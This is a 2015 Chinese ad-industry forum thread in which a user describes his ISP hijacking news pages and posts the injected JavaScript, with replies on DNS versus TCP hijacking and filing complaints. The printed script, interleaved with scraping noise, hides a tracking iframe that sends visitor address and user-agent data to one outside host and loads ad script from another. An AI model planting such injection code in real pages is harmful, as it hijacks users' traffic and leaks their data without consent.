AdvertCN - 广告中国

 找回密码
 立即注册

QQ登录

只需一步,快速开始

PropellerAds
Google-Bing-Mediago-Criteo开户
⚡️按条S5代理⚡️静态⚡️独享⚡️5G广告专用虚拟卡/U充值/高返点皇家代理IP⚡️#1性价比⚡️
Mediabuy⚡️玩家开户首选【鲁班跨境通-自助充值转账】FB/GG/TT❤️官方免费开户Affiliate 全媒体流量资源⚡️
Taboola/Outbrain /Bing⚡️一级代理开户投流-7*24h❤️人工在线【官方】❤️搜索套利买量投流开户独立站⚡️开户投放
⚡️AdsPower:安全不封号,高效自动化Google FB TK游戏代投⚡️E.PN 虚拟卡⚡️BINOM TRACKER 60% OFF!
比Adplexity还好用的Spy工具ADPLEXITY + ADVERTCN7200W全球动态不重复住宅IP代理Facebook 批量上广告
尤里改 - FB 稳定投放免费黑五教程(持续更新、欢迎交流)FB 三不限源头 - 自助下户充值转款各种主页、账单户、BM户(优势)
IPCola原生住宅IP⚡️$1.8/条双ISPTK加白户/二解户/FB海外户/GG老户海外CL企业户源头 FB高权重耐操个号⚡️稳定过审
TikTok2审户/老户/国内外端口/加白GG,FB,TK, 欧美源头, 欢迎合作❤️FB企业户海外户,授信户,TK加白户域名防红⚠斗篷工具/可试用3天
广告位出租8500万高质量住宅IP,助力各种需求虚拟卡返佣1%,国内持牌机构 
查看: 8871|回复: 12

[闲聊] 上网奇遇记

[复制链接]

44

主题

773

广告币

1424

积分

高级会员

Rank: 4

积分
1424
发表于 2015-2-3 00:52:03 | 显示全部楼层 |阅读模式
本帖最后由 hudba 于 2015-2-3 00:56 编辑 . q5 S' s# E- c1 ~- T: y7 d) {
- g1 L3 F! D: A: k3 a
上网易看新闻半天打不开,发现状态栏在现实访问一个奇怪的域名。心里一惊,难道电脑中毒了?赶紧查看源代码,发现后面加了一段js,真正的新闻内容给iframe了
* Q: b6 E* {: v% Z! N
* U) ^5 o! M7 U8 s接下来就是去搜索这个域名,得到v2ex里面也有人遇到这个问题,原来是运营商搞的鬼{:soso_e131:}. J7 k& A' a. j+ S3 w% w
https://www.google.com/search?q=info.hfjuki.com&ie=utf-8&oe=utf-8
http://www.v2ex.com/t/142197

/ k4 f# d7 t# O7 B: k6 T; o! n; o% [& N4 @$ G; E
顺便查下ip138:$ l& X; k7 d7 P( o

, _0 ?2 L/ E4 s) X( R+ L5 c这是那段js里面的代码,好象是个半成品还没写入广告数据:: t. \  ~* }) Y* d, W
  1. function locationSearch() {" P% c- |5 N' [3 M
  2.         var s = getMainJs();
    2 G4 [, H/ z5 Q( \9 W
  3.         if (s == null) {7 d# V9 ~; z8 w7 I: _
  4.                 location.reload();2 G0 M. O8 j$ b- k! L5 o. W0 C
  5.         }0 R8 |8 T4 ^1 ~
  6.         return s.src.substring(s.src.indexOf(".js?") + 3, s.src.length);
    1 _6 B/ d+ O7 B* c3 Q  q: U7 C4 A
  7. }% @( J8 o8 N$ B1 J, j$ v

  8. . O( }% C3 M0 X  _4 k' F
  9. function getParameter(name, paraStr) {7 t; j& {7 _  e! v
  10.         var result = "";
    2 e. v% M$ e7 M. B$ h
  11.         var str = "&" + paraStr.split("?")[1];& D8 m; H% E3 L4 i3 r) P
  12.         var paraName = "&" + name + "=";9 v6 u1 r! `! H8 b
  13.         if (str.indexOf(paraName) != -1) {) F7 M9 K" D) q/ }( m/ H2 l  A5 T! f2 y
  14.                 if (str.substring(str.indexOf(name), str.length).indexOf("&") != -1) {
    9 W4 f* ]5 ?$ E& ^3 u
  15.                         var TmpStr = str.substring(str.indexOf(paraName), str.length);
    8 C, @% R, r- L* m" @( K
  16.                         result = TmpStr.substr(TmpStr.indexOf(paraName), TmpStr.substring(9 A- ~9 k# ~# e3 z* z4 z3 J( N
  17.                                         1, TmpStr.length).indexOf("&")
    0 W! s2 M/ O- k2 n& f# A! c
  18.                                         - TmpStr.indexOf(paraName) + 1);
    5 z8 z! g: X7 A  D
  19.                 } else {
      Q- J* I) L" i
  20.                         result = str.substring(str.indexOf(paraName), str.length);( L. E4 T% r% @1 x- h2 p3 K5 ]1 }
  21.                 }
    3 {$ g0 F' g% @7 O

  22. ( Q* C5 T  j% o2 h7 a) H2 V# C
  23.                 result = result.substring(result.indexOf("=") + 1, result.length);
    9 D' C( s. b4 n% o% [& Z, X1 {
  24.         } else {
    7 e, {- P6 Q# c  T: @: [; K
  25.                 result = "No such parameter";
    8 B( ^! f! K! B' u- C
  26.         }
    3 `" a1 w0 v# p' {. T
  27.         return (result.replace("&", ""));
    / u/ X; Q  M6 d+ L
  28. }
    5 P2 g$ Y% ]6 _8 K) l
  29. * f/ J7 B  @  P8 r! z  k9 e
  30. function getMainJs() {
    6 c4 Q5 K7 N8 {+ O4 [* ]
  31.         var scripts = document.getElementsByTagName("script");. X* ]1 |: |$ m/ M3 _. Z* \
  32.         var s = null;
    9 a; w3 w( ~$ i9 Y; {4 Y
  33.         for (var i = 0; i < scripts.length; i++) {7 x& ^5 b* j7 {' `% E, g+ D; K( u5 d4 A
  34.                 if (scripts[i] != "undefined" && scripts[i].src.indexOf("t_c") != -1) {
    5 y7 V# w1 X+ k( B
  35.                         s = scripts[i];$ f! w& A0 a) U( h1 y
  36.                         break;
    : y& m! i) e7 `8 r2 @
  37.                 }
    , @1 A; E2 y, x# o
  38.         }
    0 S; {' ?% C3 s
  39.         return s;
    , E% U' X! v5 R4 [- ~. A4 V! r
  40. }, x9 ~% z2 v& T

  41. % d! }* K7 v4 ~7 p% Z' [/ p6 f, X! |
  42. function appendParam(oStr, aStr) {
    + N7 J3 B( a% h
  43.         if (oStr.indexOf('?') > 0) {. c# D8 m0 y. [" ~, N
  44.                 oStr = oStr + "&" + aStr;
    0 i$ B% T4 U* D* f7 n  D) P
  45.         } else {1 s" w) i8 {' c' S* M; W9 m' q
  46.                 oStr = oStr + "?" + aStr;
    9 G4 i' n2 r) I! `0 Q, P+ A! K
  47.         }" r' }( x7 U# `" Z7 D
  48.         return oStr;* c( P, x6 z3 ]8 @$ C1 ]5 u
  49. }& h( M5 e, N* i2 J5 C
  50. 1 C' t- `; L& c5 U
  51. window.onerror = function() {4 Z3 w4 l* B2 z' O2 j6 M  O
  52. };
    % `! `8 y/ ]  H9 E5 }
  53. : N' n7 S% z$ z( Q& h$ c& E- k0 ~. }
  54. var g_titleTime = 0;' l/ A$ g% h# ]  Q5 @/ n% B
  55. function setTcTitle() {% {, q- E  F" X+ I- e
  56.         if (undefined == document) {
    ' A$ x6 d) y% Y) t3 T# \! t
  57.                 g_titleTime++;
    ' f* k7 P! y- L- k; S
  58.                 setTimeout("setTcTitle();", 1000);9 h. N+ R; d. C, Y6 O( Y$ A. B
  59.                 return;
    - s& ^. @# s) a& i& {5 I
  60.         }8 w. K/ p+ M+ }5 @
  61. 0 r) m$ w8 h  J# ^
  62.         var doc;
    ) M! R) g$ d  k- \1 D# P; i. i
  63.         try {
    % {  W- u! Y$ `) u& v4 L
  64.                 if (document.all) {
    7 y) \( ]! O% I5 u0 Z, {& o+ ?
  65.                         doc = document.frames["cn"].document;; u5 s/ K# g2 C9 T$ I" C
  66.                 } else {
    & \7 S4 ?7 U; c) a
  67.                         doc = document.getElementById("cn").contentDocument;
    ; m# u+ v% a/ A5 S3 A2 O1 U: x" ^' j
  68.                 }- h- ^" d, `( [& H
  69.         } catch (ex) {
    , A5 z: ]) H8 W
  70.         }% {" t! S3 x0 d

  71. $ t! D( h8 E' d7 I5 q7 c" j
  72.         if (g_titleTime < 5
    & z/ J& E+ t$ m9 @8 U
  73.                         && (undefined == doc || undefined == doc.title || "" == doc.title)) {
    - E' T% l: z7 o/ C
  74.                 g_titleTime++;
    ' ?) w- c7 z$ g/ f
  75.                 setTimeout("setTcTitle();", 1000);! D  w9 A5 Q. @! h% |
  76.                 return;
    " g: o7 }# {. R( r( [
  77.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    " S7 n! t' _8 k7 V  O. v. d
  78.                 document.title = doc.title;
    8 x! ^7 h1 C7 _
  79.                 setTcAdvVisible();
    & A' C) g& L  a% o! o% W- N
  80.         }
    3 U8 V5 b3 J8 m+ ^* F# l
  81. }
      ?/ S% [7 Y  b7 F+ v

  82. & ]. D& \! y# c4 R- U0 P9 k
  83. setTimeout("setTcTitle();", 1000);
    ' o: Q; Z' F! \# l7 z

  84. ! k& y7 i! W- ^8 p. J
  85. var g_isHaveVisible = false;
    * `  d* {/ q' ]" a/ D2 P6 }
  86. function setTcAdvVisible() {& l1 ?4 W) [/ u" P2 f5 z
  87.         if (undefined != document && undefined != document.getElementById("addiv")6 e! g. U6 P: p$ t! H3 N
  88.                         && !g_isHaveVisible) {, u4 c* c  k6 h' b, v
  89.                 document.getElementById("addiv").style.visibility = 'visible';$ l, q1 p) T) s( w  S' W
  90.                 document.getElementById("addiv").style.display = 'block';
    5 k# J, b# U! y' W; Z5 _
  91.                 g_isHaveVisible = true;5 @% ]5 O/ o3 \, K
  92.         }
    ) W+ o1 p# ?( c+ J" P
  93. }1 Q0 y8 `. C- I/ j8 I# z2 |
  94. 8 F9 |& b8 C4 y, Q6 E* A3 c/ Q: p
  95. function UrlAnalyzer() {" R3 c# Q# y) |  v) f( p/ a: I
  96.         this.divda = "";5 z4 J9 U" }: f
  97.         this.tctype = "";. v0 H$ I0 u2 r5 U
  98.         this.radius = "";
    ! F" g: r! {8 L" X
  99.         this.rlu = "";
    + I, p4 r- h+ a# f
  100. }
    % r6 D* M6 J) L. L3 _5 z
  101. 7 K: L8 Q- A, y
  102. UrlAnalyzer.prototype.initParameters = function() {. j+ N* U/ L. h7 `
  103.         var paraStr = locationSearch();! S% y9 t  G0 s6 ]6 B
  104.         this.rlu = getParameter("lruedct", paraStr);
    ' J1 E$ Q4 Z( `& a  g2 ~. j- @0 K
  105.         this.divda = getParameter("divda", paraStr);
    $ q# n! X! ]. Y) a0 g7 C% }/ l
  106.         this.radius = getParameter("radius", paraStr);, V# e; d. A% H3 R5 I7 L3 [
  107.         this.tctype = getParameter("tctype", paraStr);  ?7 I8 C/ ~4 O4 ]! U9 f4 h4 {. R
  108.         this.address = getParameter("address", paraStr);7 O, d9 @2 e" Z2 }' k, [
  109.         this.usagent = getParameter("usagent", paraStr);
    9 _* B1 K  r, V1 x- O6 s/ Y
  110. }
    ; F* Y/ n; f; b. _7 C) d# p

  111. . v0 D# Y1 p7 D% `. Y
  112. UrlAnalyzer.prototype.getHtmlDoc = function() {
    ' y( C& ~6 ?; l7 k- ?, J
  113.         var doc;
    3 W9 X$ P, s: {8 B+ _
  114.         try {
    6 H  Z+ ^) y4 C- u" d
  115.                 if (document.all) {* o  v/ B% n4 D" z, a/ y
  116.                         doc = document.frames["cn"].document;
    & N7 l% X5 c8 g' z$ R$ N
  117. ; S" o% H, B. K2 T
  118.                 } else {
    ' Y, }* l" x$ Q% l  N; E6 D
  119.                         doc = document.getElementById("cn").contentDocument;
    9 [3 m+ y, g: E; G
  120.                         // doc = document.getElementById("cn").contentWindow.document;2 p( D% ~3 ?( S+ I0 D$ j
  121.                 }! T( g( r* x' c  k8 ~" b
  122.         } catch (ex) {
    , n3 k* ?5 h1 b2 U7 Z  I
  123.         }
    * m( H8 E2 z' J7 h) |; \( N: G
  124.         return doc;
    , [" G+ k9 K" v, h- s
  125. }
    + L$ E  k( G' w) H7 ?
  126. $ {5 w( ?  o  ?! s
  127. UrlAnalyzer.prototype.setDomain = function() {
    8 H3 k) v2 y" e9 I' V9 d3 m
  128.         if (undefined != document.title && "" == document.title)
    , Z" I1 F; q9 E$ M! r
  129.         {
    ( g7 J" \0 Z; V
  130.                 var index = document.domain.indexOf(".");0 K( b# \% Q, e( E% N
  131.                 if (undefined != index && -1 != index) {8 [- t5 Z& P+ g
  132.                         document.domain = document.domain.substring(index + 1,
    3 K/ u- p7 T. o; E' U6 B$ a
  133.                                         document.domain.length);2 ]- I1 K" o+ _
  134.                 }
    ( d! }: u2 y+ X$ }+ _& n
  135.                 & [; i- U$ s0 X, H% r) l
  136.                 var doc = this.getHtmlDoc();
    ( p  {; t. Z& _1 A' ]# ?
  137.                 if (undefined != doc && undefined != doc.title && "" != doc.title) {. U& U6 k7 s+ Z
  138.                         document.title = doc.title;6 X6 P1 J8 C2 o
  139.                         setTcAdvVisible();5 M# V" i' b( Q: p$ `- h  Q
  140.                 }9 F% w8 ?9 v. F( d% n* ]) b
  141.         }! P6 b6 W, a1 E% m1 V
  142. }
    6 _; j$ i# L: j
  143. 9 m# P* p' ~0 I5 z1 s3 }
  144. UrlAnalyzer.prototype.iframeCallback = function() {) e  T0 c1 }2 l1 ?
  145.         var doc = this.getHtmlDoc();
    . x. A, a/ @9 s7 j) c+ o1 h
  146.         if (undefined == doc || undefined == doc.title || "" == doc.title) {& \1 g8 r& v( x9 [( n* n
  147.                 if (undefined != document.domain) {
    $ a9 }0 k: {2 `& }

  148. . Z6 g% V7 V" Y/ [3 M- N/ C
  149.                         var self = this;* a( T1 }. f& F% o4 D; C
  150.                         setTimeout(function(){self.setDomain.call(self, null)}, 1000);
    2 s! e9 e, F! H2 l% P
  151.                         // var index = document.domain.indexOf(".");
    7 h; Z4 N" j0 W9 _
  152.                         // if (undefined != index && -1 != index) {
    & @& E0 [% Q( s8 V) O( U) E
  153.                         // document.domain = document.domain.substring(index + 1,
    : _$ P- _. R. b+ V
  154.                         // document.domain.length);0 o" _& s' ~$ U+ i( {
  155.                         // }
    & c! e; d- o$ `  X1 t2 s$ z
  156.                         //
    $ q- C0 x6 x! M) O
  157.                         // var doc = this.getHtmlDoc();
    7 [6 o8 r# ]  _2 I) _$ s
  158.                         // if (undefined != doc && undefined != doc.title && "" !=
    * w1 b* q# M( J' X
  159.                         // doc.title) {" O1 i& {/ S0 X: O$ n7 }" A3 P, r
  160.                         // document.title = doc.title;+ t8 t+ J( H; n& V; m  g, n" ^
  161.                         // setTcAdvVisible();
    5 e$ {% S7 d9 G. M  ~
  162.                         // }
    8 K5 m8 @% J# q+ {) g6 V
  163.                 }8 x! H, @) _1 ~; s  i! s% n
  164.         } else if (undefined != doc && undefined != doc.title && "" != doc.title) {
    $ z. L' B. I5 l5 z  m2 f1 v# i
  165.                 document.title = doc.title;0 w, n" R9 t- G9 t% l" P
  166.                 setTcAdvVisible();
    # W% }1 I2 f$ H: s9 r& F3 h$ ]
  167.         }7 S( q" C! I' t, d* Q8 S5 c
  168. }
    5 C. f- X1 _# l- j: q( e6 k

  169. 4 F5 Q7 m1 r  D; f$ }, |. Z
  170. UrlAnalyzer.prototype.executeHtmlContext = function() {. g& r' n1 Q$ p
  171.         var staUrl = "http://info.hfjuki.com:8060/page/statistics?advId=" + this.divda) g, ^) p# F% ?) _
  172.                         + "&rd=" + this.radius + "&tctype=" + this.divda  + "&address=" + this.address  + "&usagent=" + this.usagent;. t/ B6 K: C! d; h' l+ N- Y
  173. % T: v( I6 b( @8 K
  174.         var htmlStr = "<iframe src="" + staUrl* e. \/ d1 R1 s' w8 X6 p
  175.                         + "" style="display:none"></iframe>";- X% u, e8 O; S$ f5 w
  176. + \+ F# d% g4 B1 x8 O+ [' p
  177.         var advUrl = htmlStr+ M% d, N. R% \& w2 z. c
  178.                         + "<script src="http://c2.sxite.com:8060/center?advId="
    % Q2 P/ i; u3 e6 Z; T: N
  179.                         + this.divda + "&radius=" + this.radius  + "&area=1" + ""><\/script>";
    # H' v# g) v5 W! p: P; B2 U9 b
  180.         document.write(advUrl);7 Z' b. ~! _/ z- z. D* w1 F5 i

  181. 8 b/ `# ^# x3 p" ?# W" @4 b/ r
  182.         var self = this;, \  B/ l; X/ g1 v' l
  183.         var iframe = document.getElementById("cn");
    ) a; @6 y% S6 Z1 O* G% U- {
  184.         if (iframe.attachEvent) {
    # E0 a1 c7 V6 U  j+ t: Y6 y% x( w1 ?6 M
  185.                 iframe.attachEvent("onload", function() {
    ) i! a8 b! f1 C3 H  a
  186.                         self.iframeCallback.call(self, null);
    4 H, A' \4 k& x. a" T
  187.                 });
    ; @* L- q* Q! s- }& a$ o
  188.         } else {7 D3 V8 j; K9 C1 N
  189.                 iframe.onload = function() {5 f$ r. x7 S. M, t& u
  190.                         self.iframeCallback.call(self, null);
    0 X: M) X3 [. k1 F6 r5 ]; n! E; T
  191.                 }
    9 ]4 w: a7 ~2 B) n$ C
  192.         }7 V, _8 v( D4 \
  193. }2 d& C4 O4 ~3 C4 x) _: Y0 s

  194. 2 f1 g2 I" Y& v. g5 _% ?
  195. UrlAnalyzer.prototype.executeMain = function() {
    ( o, ~1 T5 ?9 _  I
  196.         var mainFrame = document.getElementById("cn");
    3 L2 \4 B( @# i1 A8 A" R1 c
  197.         mainFrame.contentWindow.location.href = mainFrame.src;
    7 |2 ]1 Y! I) i- j% ]' Y) V
  198.         this.initParameters();* l0 T: ^, V6 {$ r: y, E
  199.         this.executeHtmlContext();- q, R' ]0 w, O' f9 }+ q" g
  200. }4 ~- j$ d: z3 I4 ^4 U4 k/ U2 E

  201. & }: T" j" v2 D. d  o0 x
  202. var g_analyzer = new UrlAnalyzer();
    6 w+ C  Z, ]$ ]4 P
  203. g_analyzer.executeMain();
    1 {3 A2 Z3 E5 z9 B  Q
复制代码
7 ]1 M9 ]0 U3 h+ @: [4 R0 J( }

+ e& \/ l- P' D4 E( B4 B: {8 i* T( D; [" I% Y0 d+ |' D

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
相关帖子
回复

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 01:33:54 | 显示全部楼层
回复 支持 反对

使用道具 举报

52

主题

457

广告币

843

积分

中级会员

Rank: 3Rank: 3

积分
843
发表于 2015-2-3 04:58:09 | 显示全部楼层
我在想有没有大牛会去干电信那个网页,那就发啦。哈哈
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-3 09:49:12 | 显示全部楼层
所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错

点评

TCP劫持,换DNS也不管用的。  详情 回复 发表于 2015-2-3 21:26
回复 支持 反对

使用道具 举报

26

主题

348

广告币

595

积分

中级会员

Rank: 3Rank: 3

积分
595
发表于 2015-2-3 09:49:33 | 显示全部楼层
法制不健全,没法。我这里也有电信绑架的问题,但你没辙,要国外,早赔的只剩内裤了。
回复 支持 反对

使用道具 举报

22

主题

1730

广告币

2028

积分

高级会员

Rank: 4

积分
2028
发表于 2015-2-3 13:12:15 | 显示全部楼层
电信DNS劫持不是一天两天了。国家垄断企业,没人能管”。。。
回复 支持 反对

使用道具 举报

1

主题

70

广告币

498

积分

中级会员

Rank: 3Rank: 3

积分
498
发表于 2015-2-3 14:24:00 | 显示全部楼层
我这段时间也遇到了,投诉了两次,这几天没出现了,再出现继续投诉
回复 支持 反对

使用道具 举报

26

主题

836

广告币

1784

积分

高级会员

Rank: 4

积分
1784
发表于 2015-2-3 21:26:11 | 显示全部楼层
阿百川 发表于 2015-2-3 09:49
+ R8 R# K& T% a2 z7 l所以从不使用运行商的dns,http://dudns.baidu.com/ http://www.114dns.com/ 这两个都不错 ...
6 _. @2 g! m1 ~) _6 S
TCP劫持,换DNS也不管用的。

点评

正解。  发表于 2015-2-3 21:43
回复 支持 反对

使用道具 举报

54

主题

9

广告币

6010

积分

禁止访问

积分
6010
发表于 2015-2-4 07:36:43 | 显示全部楼层
ads419 发表于 2015-2-3 21:266 w1 f. m5 n' j! b8 `- }0 Q/ Z1 N. z
TCP劫持,换DNS也不管用的。

$ s$ G7 L' z% V9 k! a1 M幸好联通还木有这么强的技术

点评

联通也一样,各地不同罢了。  发表于 2015-2-4 10:07
回复 支持 反对

使用道具 举报

12

主题

915

广告币

1212

积分

高级会员

Rank: 4

积分
1212

社区QQ达人

发表于 2015-2-4 20:47:04 | 显示全部楼层
在国内,习惯就好
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关于我们|联系我们|DMCA|广告服务|小黑屋|手机版|Archiver|Github|网站地图|AdvertCN

GMT+8, 2026-6-22 05:38 , Processed in 0.073438 second(s), 15 queries , Gzip On, MemCache On.

Copyright © 2001-2023, AdvertCN

Proudly Operating in Hong Kong.

快速回复 返回顶部 返回列表